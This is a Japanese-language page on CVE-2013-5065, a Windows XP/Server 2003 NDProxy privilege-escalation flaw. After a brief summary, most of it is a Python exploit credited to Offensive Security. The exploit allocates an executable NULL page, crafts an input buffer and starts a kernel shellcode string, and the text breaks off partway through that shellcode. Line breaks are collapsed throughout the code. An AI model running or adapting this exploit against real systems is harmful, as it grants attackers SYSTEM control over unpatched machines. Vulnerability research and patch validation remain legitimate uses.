CVE-2013-5065

概要

Microsoft Windows XP SP2 および SP3 と Server 2003 SP2 のカーネルにおける NDProxy.sys は、巧妙に細工されたアプリケーションを介してローカルユーザーが特権を昇格できるようにします。これは 2013年11月に実際の攻撃で悪用されました。

• RobbinHoodエクスプロイト

  # NDPROXY ローカル SYSTEM 特権昇格 # http://www.offensive-security.com # Windows XP SP3 でテスト済み # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/     # 元のクラッシュ ... NULL ポインタ逆参照 # アクセス違反 - コード c0000005 (!!! 2回目のチャンス !!!) # 00000038 ??              ???   from ctypes import * from ctypes.wintypes import * import os, sys   kernel32 = windll.kernel32 ntdll = windll.ntdll   GENERIC_READ     = 0x80000000 GENERIC_WRITE    = 0x40000000 FILE_SHARE_READ  = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE            = 0x0020 PROCESS_VM_READ             = 0x0010 MEM_COMMIT                  = 0x00001000 MEM_RESERVE                 = 0x00002000 MEM_FREE                    = 0x00010000 PAGE_EXECUTE_READWRITE      = 0x00000040 PROCESS_ALL_ACCESS          = 2097151 FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0   def log(msg):     print msg   def getLastError():     """[-] GetLastError の書式設定"""     buf = create_string_buffer(2048)     if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,             kernel32.GetLastError(), 0,             buf, sizeof(buf), NULL):         log(buf.value)     else:         log("[-] 不明なエラー")   print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] 実環境で発見された脆弱性" print "[*] Offensive Security によるコード"                 tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp)   dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS:     print "[+] NULL ページ メモリの割り当て中にエラーが発生しました: %s" % dwStatus     getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8